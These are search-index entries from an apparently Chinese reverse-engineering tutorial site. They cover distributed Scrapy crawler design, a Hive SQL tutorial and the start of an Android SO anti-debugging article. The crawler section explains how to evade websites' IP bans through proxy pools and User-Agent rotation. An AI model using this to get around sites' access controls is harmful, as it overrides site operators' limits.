self.r.scan_iter('node:*'): if not self.r.exists(key): node_id = key.decode().split(':')[1] print(f\"Node {node_id} is dead\") # 重新分配该节点的任务 self.redistribute_tasks(node_id) ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:5:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#3-容错处理"},{"categories":null,"collections":null,"content":"4. 安全和合规 IP 轮换： # settings.py DOWNLOADER_MIDDLEWARES = { 'crawler.middlewares.ProxyMiddleware': 100, } # 代理池配置 PROXY_POOL_URL = 'http://proxy-pool.example.com/get' User-Agent 轮换： # middlewares.py from scrapy.downloadermiddlewares.useragent import UserAgentMiddleware import random class RandomUserAgentMiddleware(UserAgentMiddleware): def __init__(self, user_agent=''): self.user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)...', 'Mozilla/5.0 (X11; Linux x86_64)...', ] def process_request(self, request, spider): request.headers['User-Agent'] = random.choice(self.user_agents) 请求频率限制： # settings.py DOWNLOAD_DELAY = 1 AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_TARGET_CONCURRENCY = 2.0 # 使用令牌桶限流 from scrapy.extensions.throttle import AutoThrottle ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:5:4","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#4-安全和合规"},{"categories":null,"collections":null,"content":"5. 监控和日志 Prometheus 指标采集： from prometheus_client import Counter, Histogram, Gauge import time # 定义指标 requests_total = Counter('crawler_requests_total', 'Total requests', ['spider', 'status']) request_duration = Histogram('crawler_request_duration_seconds', 'Request duration') queue_size = Gauge('crawler_queue_size', 'Queue size', ['spider']) class MetricsMiddleware: def process_request(self, request, spider): request.meta['start_time'] = time.time() def process_response(self, request, response, spider): duration = time.time() - request.meta.get('start_time', time.time()) request_duration.observe(duration) requests_total.labels(spider=spider.name, status=response.status).inc() return response ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:5:5","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#5-监控和日志"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:6:0","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#常见问题"},{"categories":null,"collections":null,"content":"Q: 分布式爬虫如何保证数据不重复？ A: 主要通过以下几种方式： URL 去重：使用 Redis Set 或 Bloom Filter 记录已爬取的 URL 数据去重：在存储时使用唯一索引（如 URL）进行 upsert 操作 分布式锁：对于需要原子操作的场景，使用 Redis 分布式锁 示例： # MongoDB 使用唯一索引 collection.create_index('url', unique=True) collection.update_one({'url': url}, {'$set': data}, upsert=True) # MySQL 使用 ON DUPLICATE KEY UPDATE INSERT INTO news (url, title, content) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE title=%s, content=%s ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:6:1","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#q-分布式爬虫如何保证数据不重复"},{"categories":null,"collections":null,"content":"Q: 如何处理动态 IP 封禁？ A: 代理池：维护大量代理 IP，动态轮换 IP 池检测：定期检测代理可用性，剔除失效代理 智能重试：请求失败时更换代理重试 降速策略：检测到封禁时自动降低请求频率 class ProxyMiddleware: def __init__(self): self.proxy_pool = ProxyPool() def process_request(self, request, spider): if request.meta.get('retry_times', 0) \u003e 0: # 重试时更换代理 proxy = self.proxy_pool.get_proxy() request.meta['proxy'] = proxy def process_exception(self, request, exception, spider): # 代理失败，标记为不可用 proxy = request.meta.get('proxy') if proxy: self.proxy_pool.mark_invalid(proxy) return request # 重新调度请求 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:6:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#q-如何处理动态-ip-封禁"},{"categories":null,"collections":null,"content":"Q: 如何监控爬虫运行状态？ A: 实时指标： 爬取速度（requests/秒） 成功率 队列长度 去重集合大小 节点存活数量 监控工具： Scrapy Stats：Scrapy 内置统计 Flower：Celery 任务监控 Prometheus + Grafana：自定义指标可视化 Redis Monitor：Redis 性能监控 告警策略： 爬取速度异常 错误率超过阈值 队列积压严重 节点掉线 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:6:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#q-如何监控爬虫运行状态"},{"categories":null,"collections":null,"content":"Q: 分布式爬虫的成本如何控制？ A: 资源优化： 使用 Bloom Filter 减少内存占用 合理配置并发数，避免过度消耗带宽 使用对象存储（OSS）存储图片等大文件 成本估算： Redis 内存：1 亿 URL 使用 Bloom Filter 约 128 MB 带宽：假设每页 100 KB，1000 页/秒 = 100 MB/秒 存储：MongoDB 或 Elasticsearch，按实际数据量计算 弹性伸缩： 根据任务量动态增减爬虫节点 使用 Kubernetes 或 Docker Swarm 自动调度 非高峰期降低资源使用 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:6:4","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#q-分布式爬虫的成本如何控制"},{"categories":null,"collections":null,"content":"Q: 如何处理 JavaScript 渲染的网页？ A: Selenium/Puppeteer 集群： 使用 Selenium Grid 或 Browserless 搭建浏览器集群 通过 Celery 分发渲染任务 Scrapy-Splash： Splash 是轻量级的 JavaScript 渲染服务 支持分布式部署 # settings.py SPLASH_URL = 'http://splash:8050' DOWNLOADER_MIDDLEWARES = { 'scrapy_splash.SplashCookiesMiddleware': 723, 'scrapy_splash.SplashMiddleware': 725, } # spider yield SplashRequest(url, self.parse, args={'wait': 3}) 预渲染服务： 使用 Prerender.io 等第三方服务 自建 Headless Chrome 集群 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:6:5","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#q-如何处理-javascript-渲染的网页"},{"categories":null,"collections":null,"content":"进阶阅读 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:7:0","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#进阶阅读"},{"categories":null,"collections":null,"content":"官方文档 Scrapy 官方文档 Scrapy-Redis 文档 Celery 官方文档 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:7:1","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#官方文档"},{"categories":null,"collections":null,"content":"技术博客 构建高效的分布式爬虫系统 - 华为云 千万级分布式爬虫：Scrapy-Redis 深入解析 Scrapy-Redis 与 Celery 构建分布式爬虫 Python 大规模数据抓取实战：亿级数据去重 分布式爬虫及 Bloom Filter 去重 Scrapy Redis BloomFilter: 提升抓取效率 推荐使用：Scrapy-Redis-BloomFilter 去重利器 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:7:2","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#技术博客"},{"categories":null,"collections":null,"content":"开源项目 Scrapy Scrapy-Redis Scrapy-Redis-BloomFilter PySpider Celery ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:7:3","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#开源项目"},{"categories":null,"collections":null,"content":"论文和研究 Large-Scale Web Crawling The Distributed Bloom Filter ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:7:4","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#论文和研究"},{"categories":null,"collections":null,"content":"相关章节 代理池管理 - 分布式爬虫的 IP 管理 数据存储方案 - 爬取数据的存储策略 消息队列应用 - 任务队列的深入应用 Docker 部署 - 容器化部署分布式爬虫 监控和告警 - 爬虫系统监控 ","date":"2025-04-26","objectID":"/reverse_engineering/web/06-engineering/distributed_scraping/:8:0","tags":["Web","Docker","代理池","工程实践","分布式","社交媒体"],"title":"分布式爬虫架构","uri":"/reverse_engineering/web/06-engineering/distributed_scraping/#相关章节"},{"categories":null,"collections":null,"content":"Hive 数据仓库 Apache Hive 是基于 Hadoop 的数据仓库工具，可以将结构化的数据文件映射为数据库表，并提供类 SQL 查询功能。 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:0:0","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#hive-数据仓库"},{"categories":null,"collections":null,"content":"Hive 架构 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:1:0","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#hive-架构"},{"categories":null,"collections":null,"content":"核心组件 ┌─────────────────────────────────────────────────────────┐ │ Client │ │ (CLI / JDBC / Web UI) │ └─────────────────────────┬───────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────┐ │ Driver │ │ (SQL Parser → Compiler → Optimizer → Executor) │ └─────────────────────────┬───────────────────────────────┘ ↓ ┌─────────────┬───────────────────────┬───────────────────┐ │ Metastore │ Execution Engine │ HDFS │ │ (MySQL等) │ (MR/Tez/Spark) │ (数据存储) │ └─────────────┴───────────────────────┴───────────────────┘ 组件 说明 Driver 解析 SQL、生成执行计划、协调执行 Metastore 存储表结构、分区等元数据 Execution Engine 执行引擎（MapReduce/Tez/Spark） ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:1:1","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#核心组件"},{"categories":null,"collections":null,"content":"工作流程 SQL 解析: 词法分析 → 语法分析 → 语义分析 逻辑计划: 生成逻辑执行计划 物理计划: 转换为 MapReduce/Tez/Spark 任务 执行: 提交到 Hadoop 集群执行 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:1:2","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#工作流程"},{"categories":null,"collections":null,"content":"数据类型与存储格式 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:2:0","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#数据类型与存储格式"},{"categories":null,"collections":null,"content":"基本数据类型 类型 描述 示例 TINYINT 1 字节整数 -128 到 127 SMALLINT 2 字节整数 -32,768 到 32,767 INT 4 字节整数 -2,147,483,648 到 2,147,483,647 BIGINT 8 字节整数 -9,223,372,036,854,775,808 到 9,223,372,036,854,775,807 FLOAT 4 字节浮点数 3.14159 DOUBLE 8 字节浮点数 3.141592653589793 STRING 字符串 ‘Hello World’ BOOLEAN 布尔值 TRUE/FALSE TIMESTAMP 时间戳 ‘2023-01-01 12:00:00’ DATE 日期 ‘2023-01-01’ ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:2:1","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#基本数据类型"},{"categories":null,"collections":null,"content":"复杂数据类型 -- Array ARRAY\u003cdata_type\u003e -- 示例：ARRAY\u003cSTRING\u003e -- Map MAP\u003cprimitive_type, data_type\u003e -- 示例：MAP\u003cSTRING, INT\u003e -- 结构体 STRUCT\u003ccol_name:data_type [COMMENT col_comment], ...\u003e -- 示例：STRUCT\u003cname:STRING, age:INT\u003e -- 联合体 UNIONTYPE\u003cdata_type, data_type, ...\u003e ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:2:2","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#复杂数据类型"},{"categories":null,"collections":null,"content":"存储格式对比 格式 压缩率 查询性能 写入性能 适用场景 TextFile 低 低 高 日志导入 SequenceFile 中 中 中 中间数据 RCFile 高 中 低 列式分析 ORC 很高 很高 低 OLAP 分析 Parquet 很高 很高 低 跨平台分析 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:2:3","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#存储格式对比"},{"categories":null,"collections":null,"content":"DDL 操作 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:3:0","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#ddl-操作"},{"categories":null,"collections":null,"content":"数据库操作 -- 创建数据库 CREATE DATABASE IF NOT EXISTS mydb COMMENT 'My database' LOCATION '/user/hive/warehouse/mydb.db'; -- 使用数据库 USE mydb; -- 显示数据库 SHOW DATABASES; -- 删除数据库 DROP DATABASE IF EXISTS mydb CASCADE; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:3:1","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#数据库操作"},{"categories":null,"collections":null,"content":"创建表 -- 创建内部表 CREATE TABLE employee ( id INT, name STRING, salary DOUBLE, department STRING ) STORED AS ORC TBLPROPERTIES ('orc.compress'='SNAPPY'); -- 创建外部表 CREATE EXTERNAL TABLE external_employee ( name STRING, salary DOUBLE, department STRING ) ROW FORMAT DELIMITED FIELDS TERMINATED BY ',' STORED AS TEXTFILE LOCATION '/data/employee/'; -- 创建分区表 CREATE TABLE partitioned_employee ( name STRING, salary DOUBLE ) PARTITIONED BY (department STRING, year INT) STORED AS ORC; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:3:2","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#创建表"},{"categories":null,"collections":null,"content":"修改表 -- 修改列 ALTER TABLE employee CHANGE salary salary DECIMAL(10,2); -- 添加列 ALTER TABLE employee ADD COLUMNS (bonus DOUBLE); -- 添加分区 ALTER TABLE partitioned_employee ADD PARTITION (department='IT', year=2023); -- 删除分区 ALTER TABLE partitioned_employee DROP PARTITION (department='IT', year=2023); -- 重命名表 ALTER TABLE employee RENAME TO emp; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:3:3","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#修改表"},{"categories":null,"collections":null,"content":"DML 操作 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:4:0","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#dml-操作"},{"categories":null,"collections":null,"content":"数据插入 -- 插入数据 INSERT INTO employee VALUES (1, 'John', 5000.0, 'IT'); -- 从查询插入 INSERT INTO employee SELECT id, name, salary, department FROM temp_employee; -- 覆盖插入 INSERT OVERWRITE TABLE employee SELECT * FROM temp_employee; -- 分区插入 INSERT INTO partitioned_employee PARTITION(department='IT', year=2023) SELECT id, name, salary FROM temp_employee; -- 动态分区插入 SET hive.exec.dynamic.partition=true; SET hive.exec.dynamic.partition.mode=nonstrict; INSERT INTO partitioned_employee PARTITION(department, year) SELECT id, name, salary, department, year FROM temp_employee; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:4:1","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#数据插入"},{"categories":null,"collections":null,"content":"数据查询 -- 聚合查询 SELECT department, AVG(salary) as avg_salary FROM employee GROUP BY department HAVING AVG(salary) \u003e 6000; -- 连接查询 SELECT e.name, d.dept_name FROM employee e JOIN department d ON e.department = d.dept_id; -- 窗口函数 SELECT name, salary, ROW_NUMBER() OVER (PARTITION BY department ORDER BY salary DESC) as rank FROM employee; -- 子查询 SELECT * FROM employee WHERE salary \u003e (SELECT AVG(salary) FROM employee); ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:4:2","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#数据查询"},{"categories":null,"collections":null,"content":"分区与分桶 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:5:0","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#分区与分桶"},{"categories":null,"collections":null,"content":"分区操作 -- 静态分区 INSERT INTO partitioned_employee PARTITION(department='IT', year=2023) SELECT id, name, salary FROM source_table; -- 动态分区 INSERT INTO partitioned_employee PARTITION(department, year) SELECT id, name, salary, department, year FROM source_table; -- 查询特定分区 SELECT * FROM partitioned_employee WHERE department='IT' AND year=2023; -- 显示分区 SHOW PARTITIONS partitioned_employee; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:5:1","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#分区操作"},{"categories":null,"collections":null,"content":"分桶操作 -- 创建分桶表 CREATE TABLE bucketed_employee ( id INT, name STRING, salary DOUBLE, department STRING ) CLUSTERED BY (id) INTO 4 BUCKETS STORED AS ORC; -- 启用分桶 SET hive.enforce.bucketing=true; -- 插入数据（自动分桶） INSERT INTO bucketed_employee SELECT * FROM employee; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:5:2","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#分桶操作"},{"categories":null,"collections":null,"content":"函数与 UDF ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:6:0","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#函数与-udf"},{"categories":null,"collections":null,"content":"字符串函数 -- 字符串操作 SELECT CONCAT(first_name, ' ', last_name) as full_name, UPPER(name) as upper_name, LOWER(name) as lower_name, LENGTH(name) as name_length, SUBSTR(name, 1, 3) as name_prefix, TRIM(name) as trimmed_name, REGEXP_REPLACE(name, '[0-9]', '') as no_digits FROM employee; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:6:1","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#字符串函数"},{"categories":null,"collections":null,"content":"日期函数 -- 日期操作 SELECT FROM_UNIXTIME(UNIX_TIMESTAMP()) as current_time, YEAR(hire_date) as hire_year, MONTH(hire_date) as hire_month, DATEDIFF(CURRENT_DATE, hire_date) as days_since_hire, DATE_ADD(hire_date, 30) as after_30_days FROM employee; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:6:2","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#日期函数"},{"categories":null,"collections":null,"content":"聚合函数 -- 聚合统计 SELECT COUNT(*) as total_count, SUM(salary) as total_salary, AVG(salary) as avg_salary, MAX(salary) as max_salary, MIN(salary) as min_salary, STDDEV(salary) as salary_stddev FROM employee; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:6:3","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#聚合函数"},{"categories":null,"collections":null,"content":"自定义 UDF // MyUpperUDF.java package com.example.udf; import org.apache.hadoop.hive.ql.exec.UDF; import org.apache.hadoop.io.Text; public class MyUpperUDF extends UDF { public Text evaluate(Text input) { if (input == null) return null; return new Text(input.toString().toUpperCase()); } } -- 注册 UDF ADD JAR /path/to/my-udf.jar; CREATE TEMPORARY FUNCTION my_upper AS 'com.example.udf.MyUpperUDF'; -- 使用 UDF SELECT my_upper(name) FROM employee; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:6:4","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#自定义-udf"},{"categories":null,"collections":null,"content":"性能优化 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:7:0","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#性能优化"},{"categories":null,"collections":null,"content":"存储优化 -- 选择合适的存储格式 CREATE TABLE optimized_table ( col1 STRING, col2 INT ) STORED AS ORC TBLPROPERTIES ( 'orc.compress'='SNAPPY', 'orc.create.index'='true' ); ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:7:1","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#存储优化"},{"categories":null,"collections":null,"content":"查询优化 -- 推荐：使用分区裁剪 SELECT * FROM partitioned_table WHERE partition_col = 'value'; -- 避免：全表扫描 SELECT * FROM partitioned_table WHERE non_partition_col = 'value'; -- 推荐：只查询需要的列 SELECT name, salary FROM employee; -- 避免：SELECT * SELECT * FROM employee; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:7:2","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#查询优化"},{"categories":null,"collections":null,"content":"连接优化 -- MapJoin（小表广播） SELECT /*+ MAPJOIN(small_table) */ * FROM large_table a JOIN small_table b ON a.key = b.key; -- 优化连接顺序（大表在前） SELECT * FROM large_table a JOIN medium_table b ON a.key = b.key JOIN small_table c ON b.key = c.key; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:7:3","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#连接优化"},{"categories":null,"collections":null,"content":"配置优化 -- 启用代价优化器 SET hive.cbo.enable=true; -- 设置合理的 MapReduce 参数 SET mapreduce.job.reduces=10; SET hive.exec.reducers.bytes.per.reducer=1000000000; -- 启用并行执行 SET hive.exec.parallel=true; SET hive.exec.parallel.thread.number=8; -- 启用向量化执行 SET hive.vectorized.execution.enabled=true; SET hive.vectorized.execution.reduce.enabled=true; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:7:4","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#配置优化"},{"categories":null,"collections":null,"content":"知识要点 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:8:0","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#知识要点"},{"categories":null,"collections":null,"content":"1. Hive vs 传统数据库 特性 Hive 传统数据库 数据量 PB 级 GB-TB 级 延迟 高（秒-分钟） 低（毫秒） ACID 有限支持 完全支持 索引 有限 丰富 扩展性 水平扩展 垂直扩展 适用场景 离线分析 在线事务 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:8:1","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#1-hive-vs-传统数据库"},{"categories":null,"collections":null,"content":"2. 内部表 vs 外部表 特性 内部表 外部表 数据管理 Hive 管理 用户管理 删除表 删除元数据和数据 只删除元数据 数据位置 Hive 仓库目录 用户指定位置 使用场景 临时数据、中间结果 共享数据、外部数据源 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:8:2","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#2-内部表-vs-外部表"},{"categories":null,"collections":null,"content":"3. 数据倾斜解决方案 -- 1. 增加 Reduce 任务数 SET mapreduce.job.reduces=100; -- 2. 启用负载均衡 SET hive.groupby.skewindata=true; -- 3. 使用随机前缀打散热点 Key SELECT * FROM ( SELECT CONCAT(CAST(RAND() * 100 AS INT), '_', key) as new_key, value FROM skewed_table ) a JOIN small_table b ON SPLIT(a.new_key, '_')[1] = b.key; -- 4. 使用 MapJoin 避免 Shuffle SELECT /*+ MAPJOIN(b) */ * FROM large_table a JOIN small_table b ON a.key = b.key; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:8:3","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#3-数据倾斜解决方案"},{"categories":null,"collections":null,"content":"4. 小文件问题处理 -- 1. 合并小文件 SET hive.merge.mapfiles=true; SET hive.merge.mapredfiles=true; SET hive.merge.size.per.task=256000000; -- 2. 使用 Concatenate 合并 ORC 文件 ALTER TABLE table_name CONCATENATE; -- 3. 重新组织数据 INSERT OVERWRITE TABLE new_table SELECT * FROM old_table; ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:8:4","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#4-小文件问题处理"},{"categories":null,"collections":null,"content":"5. 性能优化清单 优化项 方法 存储格式 使用 ORC/Parquet 列式存储 压缩 启用 Snappy/LZ4 压缩 分区 合理设计分区键 分桶 对大表使用分桶 索引 创建适当的索引 缓存 缓存热点数据 并行度 调整 Map/Reduce 任务数 资源 合理分配内存和 CPU ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:8:5","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#5-性能优化清单"},{"categories":null,"collections":null,"content":"相关章节 E05: 数据仓库与处理 E06: Apache Flink E07: HBase 数据库 E09: Apache Spark ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/:9:0","tags":["大数据","工程实践","DEX"],"title":"Hive 数据仓库","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/hive/#相关章节"},{"categories":null,"collections":null,"content":"SO 文件反调试与字符串混淆技术 在 Android Native 层安全对抗中，SO 文件是实现高强度保护的重要载体。通过 init_array 机制、字符串混淆和反调试技术的组合使用，可以显著提高逆向分析的难度。本文将深入分析这些技术的实现原理及对应的分析绕过方法。 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:0:0","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#so-文件反调试与字符串混淆技术"},{"categories":null,"collections":null,"content":"1. init_array 调用流程原理 ","date":"2025-04-25","objectID":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/:1:0","tags":["Native层","签名验证","Frida","高级","加密分析","Hook"],"title":"SO 文件反调试与字符串混淆技术","uri":"/reverse_engineering/android/04-reference/advanced/so_anti_debugging_and_obfuscation/#1-init_array-调用流程原理"},{"categories":null,"collections":null,"content":"1.1 ELF 加载与 init_array 执行时机 // linker 中 call_constructors 的简化实现 void soinfo::call_constructors() { // 1. 首先调用 DT_INIT 初始化函数 if (init_func_ != nullptr) { init_func_(); } // 2. 然后遍历 .init_array 段的函数指针 if (init_array_ != nullptr) { for (size_t i = 0; i \u003c init_array_count_; ++i) { // 调用每个构造函数 ((void (*)())init_array_[i])(); } } } 